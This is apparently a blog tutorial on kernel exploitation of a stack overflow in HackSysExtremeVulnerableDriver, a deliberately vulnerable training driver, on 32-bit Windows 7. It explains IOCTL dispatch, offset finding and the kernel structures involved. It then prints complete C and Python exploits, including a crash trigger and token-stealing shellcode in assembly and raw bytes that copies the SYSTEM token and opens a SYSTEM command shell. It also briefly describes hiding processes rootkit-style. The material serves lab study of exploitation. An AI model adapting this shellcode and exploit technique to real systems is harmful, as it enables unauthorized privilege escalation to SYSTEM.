Windows Kernel Exploitation: Stack Overflow

Introduction

This post is on exploiting a stack based buffer overflow in the HackSysExtremeVulnerableDriver.
There’s lot of background theory required to understand types of Windows drivers, developing drivers, debugging drivers, etc. I will only focus on developing the exploit while explaining some internal structures briefly. I would assume you have experience with assembly, C, debugging in the userland.
This driver is a kernel driver. A driver is typically used to get our code into the kernel. An unhandled exception will cause the famous BSOD. I will be using Windows 7 32-bit for this since it doesn’t support SMEP (Supervisor Mode Execution Prevention) or SMAP (Supervisor Mode Access Prevention). In simple words, I would say that when SMEP is enabled the CPU will generate a fault whenever the ring0 tries to execute code from a page marked with the user bit. Basically, due to this being not enabled, we can map our shellcode to steal the ‘System’ token. Check the Shellcode Analysis part for the analysis. Exploiting this vulnerability on a 64-bit system is different.
You can use the OSR Driver Loader to load the driver into the system.
If you want to debug the machine itself using windbg you can use VirtualKD or LiveKD

You can add a new serial connection using VirtualBox or VMware, so you can debug the guest system via windbg. I will be using a serial connection from VMware.
For kernel data structures refer to this. I have used it mostly to refer the structures.
After you have registered the driver you should see this in ‘msinfo32’.

If you check the loaded modules in the ‘System’ process you should see our kernel driver ‘HEVD.sys’.


In windbg you should see the debug output with the HEVD logo.

If you check the loaded modules HEVD should be visible.

The Vulnerability

The vulnerability lies in the ‘memcpy’ function. It’s well explained in the source.

Analyzing the Driver

For creating a handle to the driver we will use the ‘CreateFile’ API. To communicate with the driver from userland we use the ‘DeviceIoControl’ API. We have to specify the correct IOCTL code to trigger the Stack Overflow vulnerability. Windows uses I/O request packets (IRPs) to describe I/O requests to the kernel. IRP dispatch routines are stored in the ‘MajorFunction’ array. Windows has a pre-defined set of IRP major functions to describe each and every I/O request which comes from the userland. Whenever an I/O request comes for a driver from the userland the I/O manager calls the appropriate IRP major function handler. For example, some common dispatch routines would be, when ‘CreateFile’ is called the ‘IRP_MJ_CREATE’ IRP Major Code is used. When ‘DeviceIoControl’ is used ‘IRP_MJ_DEVICE_CONTROL’ IRP Major Code is used. In the DriverEntry of this driver, we can see the following.

To use the ‘DeviceIoControl’ we need to find the IOCTL code. We can do this by looking into source code since we have the source, or by reverse engineering the compiled driver. IOCTL means I/O Control Code. It’s a 32-bit integer that encodes the device type, operation-specific code, buffering method and security access. We use the CTL_CODE macro to define IOCTLS. To trigger the stack overflow vulnerability we have to use the ‘HACKSYS_EVD_IOCTL_STACK_OVERFLOW’ IOCTL code.
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/Common.h

You can apply the above macro in the exploit or use IDA to locate the IOCTL code which jumps to the stack overflow routine located at the ‘IrpDeviceIoCtlHandler’ routine.

In windbg you can view the driver information for HEVD. At offset 0x38 you can see the ‘MajorFunction’ array.

To find the ‘IrpDeviceIoCtlHandler’ routine we can perform this pointer arithmetic. 0xe is the index of IRP_MJ_DEVICE_CONTROL. Once we unassembled the pointer we can see we found the correct routine.

We can analyze this routine in windbg to analyze further and let’s check where this 0x222003 IOCTL follows.

If we follow the jz instruction, it leads to the stack overflow routine which prints the debug message “****** HACKSYS_EVD_STACKOVERFLOW ******”

Triggering the Vulnerability

Since we know the IOCTL code let’s trigger the stack overflow vulnerability. I’m sending a huge buffer that would cause a BSOD.
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowBSOD.c

#include "stdafx.h"
#include <Windows.h>
#include <string.h>

/*
 * Title: HEVD x86 Stack Overflow BSOD
 * Platform: Windows 7 x86
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: https://osandamalith.com
 */

int _tmain(int argc, _TCHAR* argv[])
{
	HANDLE hDevice;
	LPCWSTR lpDeviceName = L"\\\\.\\HacksysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	DWORD lpBytesReturned = 0;

	hDevice = CreateFile(
		lpDeviceName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
	wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

	if (hDevice == INVALID_HANDLE_VALUE) {
		wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
		return -1;
	}

	wprintf(L"[+] Device Handle: 0x%x\n", hDevice);

	lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);

	if (!lpInBuffer) {
		wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
		return -1;
	}

	RtlFillMemory(lpInBuffer, (SIZE_T)1024*sizeof DWORD, 0x41);

	wprintf(L"[+] Sending IOCTL request with buffer: 0x222003\n");

	DeviceIoControl(
		hDevice,
		0x222003, // IOCTL
		(LPVOID)lpInBuffer,
		2084,
		NULL,
		0,
		&lpBytesReturned,
		NULL);


	HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
	CloseHandle(hDevice);
	 
	return 0;
}
//EOF

This is the Python version.

from ctypes import *
from ctypes.wintypes import *

# Title : HEVD x86 Stack Overflow BSOD
# Platform: Windows 7 x86
# Author: Osanda Malith Jayathissa (@OsandaMalith)
# Website: https://osandamalith.com

kernel32 = windll.kernel32

def main():
	lpBytesReturned = c_ulong()
	hDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
	
	if not hDevice or hDevice == -1:
		print "[!] Failed to get a handle to the driver " + str(ctypes.GetLastError())
		return -1

	buf = "\x41" * (1024 * 4) 

	bufSize  = len(buf)
	bufPtr = id(buf) + 20
	kernel32.DeviceIoControl(hDevice, 0x222003, bufPtr, bufSize, None, 0,byref(lpBytesReturned), None)
		
if __name__ == '__main__':
	main()
# EOF

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowBSOD.py

Let’s change the buffer size to 0x900 and you can see we can see the EIP points to our buffer.

Developing an exploit for this driver is much similar to developing an exploit to a userland application. Now we have to find the offset where we overwrite the return address so that EIP will point to it. I’ll be using Mona to create a pattern of 0x900.

After we send this long buffer we can see that EIP contains the value 0x72433372 (r3Cr).

Let’s find the offset using Mona.

The offset is 2080. The offset to overwrite the EBP register would be 2080 – 4 = 2076. POP EBP, RET.

Shellcode Analysis

First of all, we save the state of all registers to avoid any BSODs. Next, we zero out the eax register and move the _KPCR.PcrbData.CurrentThread into eax. Let’s first explore the KPRC (Kernel Processor Control Region) structure. The KPCR contains per-CPU information which is shared by the kernel and the HAL (Hardware Abstraction Layer). This stores critical information about CPU state and information. This is located at the base address of the FS segment register at index 0 in 32-bit Windows systems, it’s [FS:0] and on 64-bit systems, it’s located in the GS segment register, [GS:0].
We can see at offset 0x120 it points to ‘PrcData’ which is of type KPRCB (Kernel Processor Control Block) structure. This structure contains information about the processor such as current running thread, next thread to run, type, model, speed, etc. Both these structures are undocumented.

If we explore the ‘PrcData’ _KPRCB structure we can find at offset 0x4 ‘CurrentThread’ which is of _KTHREAD (Kernel Thread) structure. This structure is embedded inside the ETHREAD structure. The ETHREAD structure is used by the Windows kernel to represent every thread in the system. This is represented by [FS:0x124].

mov eax, [fs:eax + 0x124]

Next _KTHREAD.ApcState.Process is fetched into EAX. Let’s explore the _KTHREAD structure. At offset 0x40 we can find ‘ApcState’ which is of _KAPC_STATE. The KAPC_STATE is used to save the list of APCs (Asynchronous Procedure Calls) queued to a thread when the thread attaches to another process.

If explore further more on _KAPC_STATE structure we can find a pointer to the current process structure at offset 0x10, ‘Process’ which is of _KPROCESS structure. The KPROCESS structure is embedded inside the EPROCESS structure and it contains scheduling related information like threads, quantum, priority and execution times. This is done in the shellcode as

mov eax, [eax + 0x50]

I have observed the same method used in the ‘PsGetCurrentProcess’ function. This function uses the same instructions as this shellcode to get the current EPROCESS.

If we explore this structure, we can see at offset 0xb4 the ‘UniqueProcessId’ which has a value of 0x4 which means this is the PID of the ‘System’ process. At offset 0xb8 you can find ‘ActiveProcessLinks’ which is of _LIST_ENTRY data structure. At offset 0x16c ‘ImageFileName’ contains the value ‘System’.

The _LIST_ENTRY data structure is a double linked list. It’s head pointer is ‘Flink’ and the tail pointer is ‘Blink’. We can use ‘ActiveProcessLinks’ double linked list to traverse through the processes in the entire system and find the ‘System’ process. The _EPROCESS structure is also used in rootkits to hide processes to the userland. If you have done algorithms in C, it would be similar to removing a node from a double linked list. We simply change the Flink to the next node and the Blink to the previous node, leaving our process to be hidden away from the linked list. You might wonder how the process works. Processes are just a container of threads. The real deal is with the threads.

The following assembly code is used in the shellcode to traverse the double linked list and find the process ID of 0x4.

SearchSystemPID:
	mov eax, [eax + 0x0B8] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
	sub eax, 0x0B8
	cmp[eax + 0x0B4], edx ; Get nt!_EPROCESS.UniqueProcessId
	jne SearchSystemPID

Once we find the ‘System’ process we replace our current process’s token with the token value of the ‘System’ process. The offset of ‘Token’ is at 0xf8. At the end we restore the state of the registers.

mov edx, [eax + 0x0F8] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0x0F8], edx ; Replace our current token to SYSTEM
popad

We can do this using our debugger on runtime. For example, I will open ‘notepad.exe’. You can see it’s running as a normal user.

Let’s check the pointer to the _EPROCESS structure of ‘notepad.exe’, its 853fed28.

The pointer to the _EPROCESS structure of ‘System’ is 8514a798.

Let’s check the value of the Token of the ‘System’ process. It’s 0x88e0124b.

We can calculate the value of the Token by unsetting the last 3 bits from 0x88e0124b. We can do this by performing bitwise AND by 0x3.
0x88e0124b &~ 3 = 0x88e01248

We can verify if our value is correct by the !process command.

After that we can enter the System token value into the Token offset at 0xf8 of the Notepad process.

Now if we check the Process Explorer we can see that Notepad.exe is running as ‘NT AUTHORITY/ SYSTEM’.

Final Exploit

We map the address of the shellcode function, so that EIP will jump to it and execute our shellcode. To make sure everything is correct we can analyze in the debugger. Let’s get the address of ‘lpInBuffer’.

At offset 2076 is the EBP overwrite and after that, it should contain the pointer to the shellcode function.

Let’s unassemble this pointer.

And yes, if everything is correct it should point to our shellcode function.

#include "stdafx.h"
#include <Windows.h>
#include <Shlobj.h>
#include <string.h>

/*
 * Title: HEVD x86 Stack Overflow Privelege Escalation Exploit
 * Platform: Windows 7 x86
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: https://osandamalith.com
 */

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
	__asm {
			pushad; Save registers state
			xor eax, eax; Set ZERO
			mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
			mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
			mov ecx, eax; Copy current process _EPROCESS structure
			mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; Restore registers state

			; Kernel Recovery Stub
			xor eax, eax; Set NTSTATUS SUCCEESS
			add esp, 12; Fix the stack
			pop ebp; Restore saved EBP
			ret 8; Return cleanly
	}
}

int _tmain(int argc, _TCHAR* argv[]) {
	HANDLE hDevice;
	LPCWSTR lpDeviceName = L"\\\\.\\HacksysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	DWORD lpBytesReturned = 0;
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	PROCESS_INFORMATION pi;

	hDevice = CreateFile(
		lpDeviceName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
	wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

	if (hDevice == INVALID_HANDLE_VALUE) {
		wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
		return -1;
	}

	wprintf(L"[+] Device Handle: 0x%x\n", hDevice);

	lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);

	if (!lpInBuffer) {
		wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
		return -1;
	}

	RtlFillMemory(lpInBuffer, 0x900, 0x41);
	RtlFillMemory(lpInBuffer + 2076, 0x4, 0x42);
	*(lpInBuffer + 2080) = (DWORD)&TokenStealingPayloadWin7 & 0xFF;
	*(lpInBuffer + 2080 + 1) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF00) >> 8;
	*(lpInBuffer + 2080 + 2) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF0000) >> 0x10;
	*(lpInBuffer + 2080 + 3) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF000000) >> 0x18;

	wprintf(L"[+] Sending IOCTL request with buffer: 0x222003\n");

	DeviceIoControl(
		hDevice,
		0x222003, // IOCTL
		(LPVOID)lpInBuffer,
		2084,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	ZeroMemory(&si, sizeof si);
	si.cb = sizeof si;
	ZeroMemory(&pi, sizeof pi);

	IsUserAnAdmin() ?
		
	CreateProcess(
		L"C:\\Windows\\System32\\cmd.exe",
		L"/T:17", 
		NULL,
		NULL,
		0,
		CREATE_NEW_CONSOLE,
		NULL,
		NULL,
		(STARTUPINFO *)&si,
		(PROCESS_INFORMATION *)&pi) :
		
	wprintf(L"[!] Exploit Failed!");

	HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
	CloseHandle(hDevice);
	 
	return 0;
}
//EOF

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowx86.cpp
In python.

import os 
import sys
import struct
from ctypes import *
from ctypes.wintypes import *

kernel32 = windll.kernel32

def TokenStealingPayloadWin7():
	shellcode = (
		#---[Setup]
		"\x60"                      # pushad
		"\x64\xA1\x24\x01\x00\x00" 	# mov eax, fs:[KTHREAD_OFFSET]
		"\x8B\x40\x50"              # mov eax, [eax + EPROCESS_OFFSET]
		"\x89\xC1"                  # mov ecx, eax (Current _EPROCESS structure)
		"\x8B\x98\xF8\x00\x00\x00" 	# mov ebx, [eax + TOKEN_OFFSET]
		#---[Copy System PID token]
		"\xBA\x04\x00\x00\x00"      # mov edx, 4 (SYSTEM PID)
		"\x8B\x80\xB8\x00\x00\x00"  # mov eax, [eax + FLINK_OFFSET] <-|
		"\x2D\xB8\x00\x00\x00"      # sub eax, FLINK_OFFSET           |
		"\x39\x90\xB4\x00\x00\x00"  # cmp [eax + PID_OFFSET], edx     |
		"\x75\xED"                  # jnz                           ->|
		"\x8B\x90\xF8\x00\x00\x00"  # mov edx, [eax + TOKEN_OFFSET]
		"\x89\x91\xF8\x00\x00\x00"  # mov [ecx + TOKEN_OFFSET], edx
		#---[Recover]
		"\x61"                      # popad
		"\x31\xC0"                  # NTSTATUS -> STATUS_SUCCESS
		"\x5D"                      # pop ebp
		"\xC2\x08\x00"              # ret 8
	)
	
	shellcodePtr = id(shellcode) + 20
	return shellcodePtr
	
def main():
	lpBytesReturned = c_ulong()
	hDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None)
	if not hDevice or hDevice == -1:
		print "[!] Failed to get a handle to the driver " + str(ctypes.GetLastError())
		return -1
	
	buf = "\x41" * 2080 + struct.pack("<L",TokenStealingPayloadWin7())
	bufSize  = len(buf)
	bufPtr = id(buf) + 20

	print "[+] Sending IOCTL request "
	kernel32.DeviceIoControl(hDevice, 0x222003, bufPtr, bufSize, None, 0,byref(lpBytesReturned)   , None)
	
	os.system('cmd.exe')

		
if __name__ == '__main__':
	main()
# EOF

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowx86.py

And w00t! Here’s the root shell 😎

If we check the process you can see it’s running as NT AUTHORITY/SYSTEM.

Advertisements

3 thoughts on “Windows Kernel Exploitation: Stack Overflow

  1. Pingback: 【技术分享】Windows 内核攻击:栈溢出 - 莹莹之色

  2. Pingback: Windows Kernel Exploitation – Arbitrary Overwrite | 🔐Blog of Osanda

  3. Pingback: Starting with Windows Kernel Exploitation – part 3 – stealing the Access Token | hasherezade's 1001 nights

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s